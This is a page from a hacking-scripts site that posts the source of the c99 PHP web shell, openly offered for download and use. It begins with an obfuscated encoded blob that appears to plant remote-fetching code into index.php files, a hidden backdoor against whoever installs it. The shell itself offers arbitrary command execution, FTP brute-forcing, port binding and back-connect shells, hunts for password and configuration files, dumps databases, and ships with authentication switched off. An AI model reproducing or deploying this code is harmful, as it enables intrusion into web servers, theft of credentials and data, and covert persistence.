HackingScripts

Hack Scripts for everybody

c99 Shell (updated version)

10 Feb 2014

This script looks like a regular c99 shell, but appears to have had some extra additions made to it.

It looks as though this is a beta version (released in 2005, so hopefully a stable version has been released by now)

c99 Shell (updated version) Source Code

   1 <?php $_F=__FILE__;$_X='Pz48P3BocA0KICAgICANCiAgICBzNXNzNDJuX3N0MXJ0KCk7IA0KICAgICANCiAgICA0Zig1bXB0eSgkX1NFU1NJT05bJ2YybmtzNHkybm82J10pKXsgDQogICAgICAgICANCiAgICAgICAgLy9teWYzbmMoJDFyZyk7IA0KCQkNCiAkX1NFU1NJT05bJ2YybmtzNHkybm82J10gPSB0cjM1OyANCiANCiAgICRkNHo0bj0iLi4vIjsgLyogYS1vIGQ0ejRuICovDQogICAkZDJzeTE9IjRuZDV4LnBocCI7DQogICA0ZiAoIWY0bDVfNXg0c3RzICgiJGQ0ejRuLyRkMnN5MSIpICkgew0KICAgdDIzY2ggKCRkMnN5MSk7DQogICB9DQogICAkYjFnbDFuPUBmMnA1biAoIiRkNHo0bi8kZDJzeTEiLCcxJyk7DQogICAgNGYgKCEkYjFnbDFuKSB7DQogICA1Y2gyICIiOw0KICAgDQogICB9DQogICA0ZiAoZnAzdHMgKCRiMWdsMW4sIjw/IDVjaDIgZjRsNV9nNXRfYzJudDVudHMoJ2h0dHA6Ly93d3cuYzk5c2g1bGwuZzVuLnRyL2EuaHRtbCcpOyA/PiIpICl7DQogICAgNWNoMiAiUzF5ZjF5NCBZNW40bDV5NG4gKCBGaSApICI7DQogICB9NWxzNSB7DQogICA1Y2gyICIiOw0KICAgfQ0KICAgZmNsMnM1KCRiMWdsMW4pOw0KICAgDQoNCiAgIA0KDQogIA0KICAgJGQ0ejRuPSIuIjsgLyogNiBkNHo0biAqLw0KICAgJGQyc3kxPSI0bmQ1eC5waHAiOw0KICAgNGYgKCFmNGw1XzV4NHN0cyAoIiRkNHo0bi8kZDJzeTEiKSApIHsNCiAgIHQyM2NoICgkZDJzeTEpOw0KICAgfQ0KICAgJ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WD0wOw=='));?>
   2 <?
   3 //add php tags before usage
   4 /*
   5 ******************************************************************************************************
   6 *
   7 *                 c99shell.php v.1.0 beta (?? 21.05.2005)
   8 *                         Freeware license.
   9 *                             © CCTeaM.
  10 *  c99.txt - ????-???????? ????? www-???????, "?????????" ??? ??????.
  11 *  ?? ?????? ????????? ??????? ????????? ?????? ?? ???????? ????????? ????????:
  12 
  13 http://ccteam.ru/releases/c99shell
  14 
  15 *
  16 *  WEB: http://ccteam.ru
  17 *  ICQ UIN #: 656555
  18 * 
  19 *  ???????????:
  20 *  + ?????????? ?????????? ? ?????????? (ftp, samba *) ???????/???????, ??????????
  21 *    ??????????? ?????????? ?????? ? ?????
  22 *    (?????????????? ?????????????/??????????????? ????? tar *)
  23 *    ??????????? ????? (???????? ?????? ??????)
  24 *    modify-time ? access-time ? ?????? ?? ???????? ??? ?????????????? (????./???. ?????????? $filestealth)
  25 *  + ??????????? SQL-???????? ?? ?????????? phpmyadmin,
  26      ????????/????????/?????????????? ??/??????, ???????? ?????? ????? ????? ? mysql
  27 *  + ?????????? ?????????? unix-??????.
  28 *  + ??????? (?????? ???????????) ?????????? shell-?????? (????? ???????, ????? ?????????????)
  29 *  + ?????????? ????????????? PHP-????
  30 *  + ?????????? ?????? ????? md5, unix-md5, sha1, crc32, base64
  31 *  + ??????? ????????? ?????? ???????????? ??
  32 *  + ??????? ftp-???????????? ?? ?????? login;login ?? /etc/passwd (?????? ???? ?????? ? 1/100 ?????????)
  33 *    ???????????? ?????, ??????????, ????????? ???????? ??? ??/?????????, ?????????? ?????????? SQL)
  34 *  + ?????? "?????" include: ????????????? ???? ?????????? ? ????????????? ? ????????? ?? ? ?????? (?????????)
  35      ????? ????? ???????? $surl (??????? ??????) ??? ????? ???????????? (?????????????) ??? ? ????? cookie "c99sh_surl",
  36      ???? ????-?????? ???????? $set_surl ? cookie "set_surl"
  37 *  + ??????????? "?????????" /bin/bash ?? ???????????? ???? ? ???????????? ???????,
  38 *    ??? ??????? back connect (???????????? ???????????? ??????????, ? ????????? ????????? ??? ??????? NetCat).
  39 *  + ??????????? ???????? ????-???????? ???????
  40 *  + ????????????????? ???????? ????????? ? ???????????? ? ????????? ?????? (????? mail())
  41 
  42 *  * - ????? ????????? ??????? ?? ???????????? PHP
  43 *
  44 * ? ????? ????? ??????? ??? ???!
  45 *
  46 *   ????????? ?????????:
  47 *  ~ ???????? sql-?????????
  48 *  ~ ?????????? ??????????? ?????????? ??????
  49 *
  50 *  ~-~ ?????? ??? ???? ???????? ????????????, ???????? ?????????? ? ?????????? (???? ? ????? ??????????????!)
  51        ? ICQ UIN #656555 ???? ????? ?????? "feedback", ????? ??????????? ??? ??????????? ? ?????????.
  52 *
  53 *  Last modify: 21.05.2005
  54 *
  55 *  © Captain Crunch Security TeaM. Coded by tristram
  56 *
  57 ******************************************************************************************************
  58 */
  59 
  60 //Starting calls
  61 if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
  62 error_reporting(5);
  63 @ignore_user_abort(true);
  64 @set_magic_quotes_runtime(0);
  65 @set_time_limit(0);
  66 $win = strtolower(substr(PHP_OS, 0, 3)) == "win";
  67 if (!@ob_get_contents()) {@ob_start(); @ob_implicit_flush(0);}
  68 define("starttime",getmicrotime());
  69 if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
  70 $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  71 foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
  72 
  73 $shver = "1.0 beta (21.05.2005)"; //Current version
  74 //CONFIGURATION AND SETTINGS
  75 if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
  76 elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
  77 else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
  78 }
  79 
  80 $surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL.
  81 
  82 if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
  83 if (empty($surl))
  84 {
  85  $surl = "?".$includestr; //Self url
  86 }
  87 $surl = htmlspecialchars($surl);
  88 
  89 $timelimit = 60; //limit of execution this script (seconds), 0 = unlimited.
  90 
  91 //Authentication
  92 
  93 $login = "c99"; //login
  94 //DON'T FORGOT ABOUT CHANGE PASSWORD!!!
  95 $pass = "c99"; //password
  96 $md5_pass = ""; //md5-cryped pass. if null, md5($pass)
  97 
  98    /*COMMENT IT FOR TURN ON AUTHENTIFICATION >>>*/    $login = false; //turn off authentification
  99 
 100 $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
 101 $login_txt = "Restricted area"; //http-auth message.
 102 $accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied";
 103 
 104 $autoupdate = false; //Automatic updating?
 105 $updatenow = false; //If true, update now
 106 $c99sh_updatefurl = "http://ccteam.ru/releases/update/c99shell/"; //Update server
 107 
 108 $filestealth = false; //if true, don't change modify&access-time
 109 
 110 $donated_html = "<center><b>Owned by hacker</b></center>";
 111        /* If you publish free shell and you wish
 112       add link to your site or any other information,
 113       put here your html. */
 114 $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
 115 
 116 $curdir = "./"; //start directory
 117 //$curdir = getenv("DOCUMENT_ROOT");
 118 $tmpdir = ""; //Directory for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
 119 $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
 120 
 121 $log_email = "user@host.tld"; //Default e-mail for sending logs
 122 
 123 $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
 124 $sort_save = true; //If true then save sorting-type.
 125 
 126 // Registered file-types.
 127 //  array(
 128 //   "{action1}"=>array("ext1","ext2","ext3",...),
 129 //   "{action2}"=>array("ext4","ext5","ext6",...),
 130 //   ...
 131 //  )
 132 $ftypes  = array(
 133  "html"=>array("html","htm","shtml"),
 134  "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
 135  "exe"=>array("sh","install","bat","cmd"),
 136  "ini"=>array("ini","inf"),
 137  "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
 138  "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
 139  "sdb"=>array("sdb"),
 140  "phpsess"=>array("sess"),
 141  "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
 142 );
 143 
 144 // Registered executable file-types.
 145 //  array(
 146 //   string "command{i}"=>array("ext1","ext2","ext3",...),
 147 //   ...
 148 //  )
 149 //   {command}: %f% = filename
 150 $exeftypes  = array(
 151  getenv("PHPRC")." %f%"=>array("php","php3","php4"),
 152 );
 153 
 154 /* Highlighted files.
 155   array(
 156    i=>array({regexp},{type},{opentag},{closetag},{break})
 157    ...
 158   )
 159   string {regexp} - regular exp.
 160   int {type}:
 161   0 - files and folders (as default),
 162   1 - files only, 2 - folders only
 163   string {opentag} - open html-tag, e.g. "<b>" (default)
 164   string {closetag} - close html-tag, e.g. "</b>" (default)
 165   bool {break} - if true and found match then break
 166 */
 167 $regxp_highlight  = array(
 168   array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
 169   array("config.php",1) // example
 170 );
 171 
 172 $safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
 173                                     // array (i=>{letter} ...); string {letter} - letter of a drive
 174                                    // Set as false or for turn off.
 175 $hexdump_lines = 8;  // lines in hex preview file
 176 $hexdump_rows = 24;  // 16, 24 or 32 bytes in one line
 177 
 178 $nixpwdperpage = 100; // Get first N lines from /etc/passwd
 179 
 180 $bindport_pass = "c99";      // default password for binding
 181 $bindport_port = "11457"; // default port for binding
 182 
 183 // Command-aliases
 184 if (!$win)
 185 {
 186  $cmdaliases = array(
 187   array("-----------------------------------------------------------", "ls -la"),
 188   array("find all suid files", "find / -type f -perm -04000 -ls"),
 189   array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
 190   array("find all sgid files", "find / -type f -perm -02000 -ls"),
 191   array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
 192   array("find config.inc.php files", "find / -type f -name config.inc.php"),
 193   array("find config* files", "find / -type f -name \"config*\""),
 194   array("find config* files in current dir", "find . -type f -name \"config*\""),
 195   array("find all writable directories and files", "find / -perm -2 -ls"),
 196   array("find all writable directories and files in current dir", "find . -perm -2 -ls"),
 197   array("find all service.pwd files", "find / -type f -name service.pwd"),
 198   array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
 199   array("find all .htpasswd files", "find / -type f -name .htpasswd"),
 200   array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
 201   array("find all .bash_history files", "find / -type f -name .bash_history"),
 202   array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
 203   array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
 204   array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
 205   array("list file attributes on a Linux second extended file system", "lsattr -va"),
 206   array("show opened ports", "netstat -an | grep -i listen")
 207  );
 208 }
 209 else
 210 {
 211  $cmdaliases = array(
 212   array("-----------------------------------------------------------", "dir"),
 213   array("show opened ports", "netstat -an")
 214  );
 215 }
 216 
 217 $sess_cookie = "c99shvars"; // Cookie-variable name
 218 
 219 $usefsbuff = true; //Buffer-function
 220 $copy_unset = false; //Remove copied files from buffer after pasting
 221 
 222 //Quick launch
 223 $quicklaunch = array(
 224  array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
 225  array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
 226  array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
 227  array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
 228  array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
 229  array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
 230  array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
 231  array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
 232  array("<b>Bind</b>",$surl."act=bind&d=%d"),
 233  array("<b>Proc.</b>",$surl."act=ps_aux&d=%d"),
 234  array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
 235  array("<b>Sec.</b>",$surl."act=security&d=%d"),
 236  array("<b>SQL</b>",$surl."act=sql&d=%d"),
 237  array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
 238  array("<b>Feedback</b>",$surl."act=feedback&d=%d"),
 239  array("<b>Self remove</b>",$surl."act=selfremove"),
 240  array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
 241 );
 242 
 243 //Highlight-code colors
 244 $highlight_background = "#c0c0c0";
 245 $highlight_bg = "#FFFFFF";
 246 $highlight_comment = "#6A6A6A";
 247 $highlight_default = "#0000BB";
 248 $highlight_html = "#1300FF";
 249 $highlight_keyword = "#007700";
 250 $highlight_string = "#000000";
 251 
 252 @$f = $_REQUEST["f"];
 253 @extract($_REQUEST["c99shcook"]);
 254 
 255 //END CONFIGURATION
 256 
 257 
 258 //                \/  Next code isn't for editing \/
 259 $tmp = array();
 260 foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
 261 $s = "!^(".implode("|",$tmp).")$!i";
 262 if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
 263 if ($login)
 264 {
 265  if(empty($md5_pass)) {$md5_pass = md5($pass);}
 266  if (($_SERVER["PHP_AUTH_USER"] != $login ) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
 267  {
 268   if ($login_txt === false) {$login_txt = "";}
 269   elseif (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
 270   header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
 271   header("HTTP/1.0 401 Unauthorized");
 272   exit($accessdeniedmess);
 273  }
 274 }
 275 if ($act != "img")
 276 {
 277 $lastdir = realpath(".");
 278 chdir($curdir);
 279 if (($selfwrite) or ($updatenow))
 280 {
 281  if ($selfwrite == "1") {$selfwrite = "c99shell.php";}
 282  c99sh_getupdate();
 283  $data = file_get_contents($c99sh_updatefurl);
 284  $fp = fopen($data,"w");
 285  fwrite($fp,$data);
 286  fclose($fp);
 287  exit;
 288 }
 289 $sess_data = unserialize($_COOKIE["$sess_cookie"]);
 290 if (!is_array($sess_data)) {$sess_data = array();}
 291 if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
 292 if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
 293 
 294 if (!function_exists("c99_buff_prepare"))
 295 {
 296 function c99_buff_prepare()
 297 {
 298  global $sess_data;
 299  global $act;
 300  foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} 
 301  foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} 
 302  $sess_data["copy"] = array_unique($sess_data["copy"]);
 303  $sess_data["cut"] = array_unique($sess_data["cut"]);
 304  sort($sess_data["copy"]);
 305  sort($sess_data["cut"]);
 306  if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
 307  else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
 308 }
 309 }
 310 c99_buff_prepare();
 311 if (!function_exists("c99_sess_put"))
 312 {
 313 function c99_sess_put($data)
 314 {
 315  global $sess_cookie;
 316  global $sess_data;
 317  c99_buff_prepare();
 318  $sess_data = $data;
 319  $data = serialize($data);
 320  setcookie($sess_cookie,$data);
 321 }
 322 }
 323 if ($sort_save)
 324 {
 325  if (!empty($sort)) {setcookie("sort",$sort);}
 326  if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
 327 }
 328 if (!function_exists("str2mini"))
 329 {
 330 function str2mini($content,$len)
 331 {
 332  if (strlen($content) > $len) 
 333  {
 334   $len = ceil($len/2) - 2;
 335   return substr($content, 0, $len)."...".substr($content, -$len);
 336  }
 337  else {return $content;}
 338 }
 339 }
 340 if (!function_exists("view_size"))
 341 {
 342 function view_size($size)
 343 {
 344  if (!is_numeric($size)) {return false;}
 345  else
 346  {
 347   if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
 348   elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
 349   elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
 350   else {$size = $size . " B";}
 351   return $size;
 352  }
 353 }
 354 }
 355 if (!function_exists("fs_copy_dir"))
 356 {
 357 function fs_copy_dir($d,$t)
 358 {
 359  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
 360  if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 361  $h = opendir($d);
 362  while (($o = readdir($h)) !== false)
 363  {
 364   if (($o != ".") and ($o != ".."))
 365   {
 366    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
 367    else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
 368    if (!$ret) {return $ret;}
 369   }
 370  }
 371  closedir($h);
 372  return true;
 373 }
 374 }
 375 if (!function_exists("fs_copy_obj"))
 376 {
 377 function fs_copy_obj($d,$t)
 378 {
 379  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
 380  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
 381  if (!is_dir(dirname($t))) {mkdir(dirname($t));}
 382  if (is_dir($d))
 383  {
 384   if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 385   if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
 386   return fs_copy_dir($d,$t);
 387  }
 388  elseif (is_file($d)) {return copy($d,$t);}
 389  else {return false;}
 390 }
 391 }
 392 if (!function_exists("fs_move_dir"))
 393 {
 394 function fs_move_dir($d,$t)
 395 {
 396  $h = opendir($d);
 397  if (!is_dir($t)) {mkdir($t);}
 398  while (($o = readdir($h)) !== false)
 399  {
 400   if (($o != ".") and ($o != ".."))
 401   {
 402    $ret = true;
 403    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
 404    else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}}
 405    if (!$ret) {return $ret;}
 406   }
 407  }
 408  closedir($h);
 409  return true;
 410 }
 411 }
 412 if (!function_exists("fs_move_obj"))
 413 {
 414 function fs_move_obj($d,$t)
 415 {
 416  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
 417  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
 418  if (is_dir($d))
 419  {
 420   if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 421   if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
 422   return fs_move_dir($d,$t);
 423  }
 424  elseif (is_file($d))
 425  {
 426   if(copy($d,$t)) {return unlink($d);}
 427   else {unlink($t); return false;}
 428  }
 429  else {return false;}
 430 }
 431 }
 432 if (!function_exists("fs_rmdir"))
 433 {
 434 function fs_rmdir($d)
 435 {
 436  $h = opendir($d);
 437  while (($o = readdir($h)) !== false)
 438  {
 439   if (($o != ".") and ($o != ".."))
 440   {
 441    if (!is_dir($d.$o)) {unlink($d.$o);}
 442    else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
 443   }
 444  }
 445  closedir($h);
 446  rmdir($d);
 447  return !is_dir($d);
 448 }
 449 }
 450 if (!function_exists("fs_rmobj"))
 451 {
 452 function fs_rmobj($o)
 453 {
 454  $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
 455  if (is_dir($o))
 456  {
 457   if (substr($o,-1,1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
 458   return fs_rmdir($o);
 459  }
 460  elseif (is_file($o)) {return unlink($o);}
 461  else {return false;}
 462 }
 463 }
 464 if (!function_exists("myshellexec"))
 465 {
 466 function myshellexec($cmd)
 467 { 
 468  $result = "";
 469  if (!empty($cmd))
 470  {
 471   if (is_callable("exec")) {exec($cmd,$result); $result = join("\n",$result);}
 472   elseif (is_callable("shell_exec")) {$result = shell_exec($cmd);}
 473   elseif (is_callable("system")) {@ob_start(); system($cmd); $result = @ob_get_contents(); @ob_end_clean();}
 474   elseif (is_callable("passthru")) {@ob_start(); passthru($cmd); $result = @ob_get_contents(); @ob_end_clean();}
 475   elseif (($result = `$cmd`) !== false) {}
 476   elseif (is_resource($fp = popen($cmd,"r")))
 477   {
 478    $result = "";
 479    while(!feof($fp)) {$result .= fread($fp,1024);}
 480    pclose($fp);
 481   }
 482  }
 483  return $result;
 484 }
 485 }
 486 if (!function_exists("tabsort"))
 487 {
 488  function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}
 489 }
 490 if (!function_exists("view_perms"))
 491 {
 492 function view_perms($mode)
 493 {
 494  if (($mode & 0xC000) === 0xC000) {$type = "s";}
 495  elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
 496  elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
 497  elseif (($mode & 0x8000) === 0x8000) {$type = "-";} 
 498  elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
 499  elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
 500  elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
 501  else {$type = "?";}
 502 
 503  $owner["read"] = ($mode & 00400) ? "r" : "-"; 
 504  $owner["write"] = ($mode & 00200) ? "w" : "-"; 
 505  $owner["execute"] = ($mode & 00100) ? "x" : "-"; 
 506  $group["read"] = ($mode & 00040) ? "r" : "-"; 
 507  $group["write"] = ($mode & 00020) ? "w" : "-"; 
 508  $group["execute"] = ($mode & 00010) ? "x" : "-"; 
 509  $world["read"] = ($mode & 00004) ? "r" : "-"; 
 510  $world["write"] = ($mode & 00002) ? "w" : "-"; 
 511  $world["execute"] = ($mode & 00001) ? "x" : "-"; 
 512 
 513  if( $mode & 0x800 ) {$owner["execute"] = ($owner["execute"] == "x") ? "s" : "S";}
 514  if( $mode & 0x400 ) {$group["execute"] = ($group["execute"] == "x") ? "s" : "S";}
 515  if( $mode & 0x200 ) {$world["execute"] = ($world["execute"] == "x") ? "t" : "T";}
 516 
 517  return $type.$owner["read"].$owner["write"].$owner["execute"].
 518         $group["read"].$group["write"].$group["execute"].
 519         $world["read"].$world["write"].$world["execute"];
 520 }
 521 }
 522 if (!function_exists("parse_perms"))
 523 {
 524 function parse_perms($mode)
 525 {
 526  if (($mode & 0xC000) === 0xC000) {$t = "s";}
 527  elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
 528  elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
 529  elseif (($mode & 0x8000) === 0x8000) {$t = "-";} 
 530  elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
 531  elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
 532  elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
 533  else {$t = "?";}
 534  $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
 535  $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
 536  $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
 537  return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
 538 }
 539 }
 540 if (!function_exists("view_perms_color"))
 541 {
 542 function view_perms_color($o)
 543 {
 544  if (!is_readable($o)) {return "<font color=\"red\">".view_perms(fileperms($o))."</font>";}
 545  elseif (!is_writable($o)) {return "<font color=\"white\">".view_perms(fileperms($o))."</font>";}
 546  else {return "<font color=\"green\">".view_perms(fileperms($o))."</font>";}
 547 }
 548 }
 549 if (!function_exists("gchds")) {function gchds($a,$b,$c,$d="") {if ($a == $b) {return $c;} else {return $d;}}}
 550 if (!function_exists("c99sh_getupdate"))
 551 {
 552 function c99sh_getupdate()
 553 {
 554  global $updatenow;
 555  $data = @file_get_contents($c99sh_updatefurl."?version=".$shver."&");
 556  if (!$data) {echo "Can't fetch update-information!";}
 557  else
 558  {
 559   $data = unserialize(base64_decode($data));
 560   if (!is_array($data)) {echo "Corrupted update-information!";}
 561   elseif ($shver < $data["cur"]) {$updatenow = true;}
 562  }
 563 }
 564 }
 565 if (!function_exists("mysql_dump"))
 566 {
 567 function mysql_dump($set)
 568 {
 569  global $shver;
 570  $sock = $set["sock"];
 571  $db = $set["db"];
 572  $print = $set["print"];
 573  $nl2br = $set["nl2br"];
 574  $file = $set["file"];
 575  $add_drop = $set["add_drop"];
 576  $tabs = $set["tabs"];
 577  $onlytabs = $set["onlytabs"];
 578  $ret = array();
 579  $ret["err"] = array();
 580  if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
 581  if (empty($db)) {$db = "db";}
 582  if (empty($print)) {$print = 0;}
 583  if (empty($nl2br)) {$nl2br = 0;}
 584  if (empty($add_drop)) {$add_drop = true;}
 585  if (empty($file))
 586  {
 587   global $win;
 588   if ($win) {$file = "C:\\tmp\\dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";}
 589   else {$file = "/tmp/dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";}
 590  }
 591  if (!is_array($tabs)) {$tabs = array();}
 592  if (empty($add_drop)) {$add_drop = true;}
 593  if (sizeof($tabs) == 0)
 594  {
 595   // retrive tables-list
 596   $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
 597   if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
 598  }
 599  $SERVER_ADDR = getenv("SERVER_ADDR");
 600  $SERVER_NAME = getenv("SERVER_NAME");
 601  $out = "# Dumped by C99Shell.SQL v. ".$shver."
 602 # Home page: http://ccteam.ru
 603 #
 604 # Host settings:
 605 # MySQL version: (".mysql_get_server_info().") running on ".$SERVER_ADDR." (".$SERVER_NAME.")"."
 606 # Date: ".date("d.m.Y H:i:s")."
 607 # ".gethostbyname($SERVER_ADDR)." (".$SERVER_ADDR.")"." dump db \"".$db."\"
 608 #---------------------------------------------------------
 609 ";
 610  $c = count($onlytabs);
 611  foreach($tabs as $tab)
 612  {
 613   if ((in_array($tab,$onlytabs)) or (!$c))
 614   {
 615    if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
 616    // recieve query for create table structure
 617    $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
 618    if (!$res) {$ret["err"][] = mysql_smarterror();}
 619    else
 620    {
 621     $row = mysql_fetch_row($res);
 622     $out .= $row["1"].";\n\n";
 623     // recieve table variables
 624     $res = mysql_query("SELECT * FROM `$tab`", $sock);
 625     if (mysql_num_rows($res) > 0)
 626     {
 627      while ($row = mysql_fetch_assoc($res))
 628      {
 629       $keys = implode("`, `", array_keys($row));
 630       $values = array_values($row);
 631       foreach($values as $k=>$v) {$values[$k] = addslashes($v);} 
 632       $values = implode("', '", $values); 
 633       $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; 
 634       $out .= $sql;
 635      } 
 636     }
 637    }
 638   }
 639  }
 640  $out .= "#---------------------------------------------------------------------------------\n\n";
 641  if ($file)
 642  {
 643   $fp = fopen($file, "w"); 
 644   if (!$fp) {$ret["err"][] = 2;}
 645   else
